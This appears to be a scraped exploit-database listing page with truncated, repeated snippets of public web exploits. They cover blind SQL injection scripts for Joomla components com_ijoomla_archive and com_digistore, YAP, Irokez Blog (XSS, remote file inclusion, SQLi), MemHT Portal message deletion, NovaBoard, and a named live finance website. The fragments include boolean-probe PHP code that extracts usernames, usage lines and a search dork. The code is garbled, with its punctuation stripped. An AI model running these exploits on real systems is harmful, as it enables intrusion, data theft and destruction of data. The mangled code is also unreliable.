YAP 1.1.1 - Blind SQL Injection SQL Injection

YAP 1.1.1 - Blind SQL Injection SQL Injection + YAP 1.1.1 Blind SQL Injection/SQL Injection + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Blind SQL Injection The default prefix for database tables is "yap" .But can be changed at installation. PoC :...

Joomla com_ijoomla_archive Blind SQL Injection Exploit

No description provided by source. ?php / ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Joomla comijoomlaarchive Blind SQL Injection Exploit + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AUTHOR : Mountassif Moad DATE : 5 mars 2009 APPLICATION ...

Joomla com_ijoomla_archive Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Joomla comijoomlaarchive Blind SQL Injection Exploit ====================================================== 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r =...

Joomla! Component com_iJoomla_archive - Blind SQL Injection

1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."/index.php?option=comijoomlaarchive&task=archive&searcharchive=1&act=search&catid=".$userid."+and+1=1"; echo "\nExploiting:\n"; $w =...

Joomla! Component com_iJoomla_archive - Blind SQL Injection

Joomla! Component comiJoomlaarchive - Blind SQL Injection 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."/index.php?option=comijoomlaarchive&task=archive&searcharchive=1&act=search&catid=".$userid."+and+1=1"; echo "\nExploiting:\n"; $w =...

Joomla com_digistore (pid) Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Joomla comdigistore pid Blind SQL Injection Exploit === Cyb3R-1sT === cyb3r-1st at hormail.com inject0r5 t3am : Usage : php file.php "http://site/index.php?option=comdigistore&task=showproduct&pid=1" : Sp.GrEetZ : All...

Joomla Digistore Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

Joomla! Component com_digistore - 'pid' Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge = strlen...

Joomla! Component com_digistore - pid Blind SQL Injection

Joomla! Component comdigistore - pid Blind SQL Injection 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1...

Joomla com_digistore (pid) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================== Joomla comdigistore pid Blind SQL Injection Exploit ====================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 ...

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================== Irokez BLog 0.7.3.2 XSS/RFI/BSQL Multiple Remote Vulnerabilities ==================================================================...

irokez blog 0.7.3.2 - Cross-Site Scripting / Remote File Inclusion / Blind SQL Injection

================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS ================================================================================ Application: Irokez Blog ------------ Website: http://irokez.org --------...

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection ================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS...

moneycontrol.com SQL Injection

============================================================================= Website: http://moneycontrol.com/ Category: India's one of the biggest finance screener stock market Vulnerability: Blind SQL Injection Founder: Jaydeep Dave [email protected] Date: 16th Feb, 2009...

NovaBoard 1.0.0 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications =============================================== NovaBoard 1.0.0 Multiple Remote Vulnerabilities =============================================== ===============================================================================================...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit

Exploit for unknown platform in category web applications ================================================================== MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value...

Novaboard 1.0.0 - Multiple Vulnerabilities

=============================================================================================== Found : brainpillow Dork : "Powered by NovaBoard v1.0.0" Visit : brainpillow.cc, forum.antichat.ru, raz0r.name Mail : [email protected]...

NovaBoard 1.0.0 Multiple Remote Vulnerabilities

No description provided by source. =============================================================================================== Found : brainpillow Dork : "Powered by NovaBoard v1.0.0" Visit : brainpillow.cc, forum.antichat.ru, raz0r.name Mail : [email protected]...

NovaBoard 1.0.0 File Upload / LFI / SQL Injection

=============================================================================================== Found : brainpillow Dork : "Powered by NovaBoard v1.0.0" Visit : brainpillow.cc, forum.antichat.ru, raz0r.name Mail : [email protected]...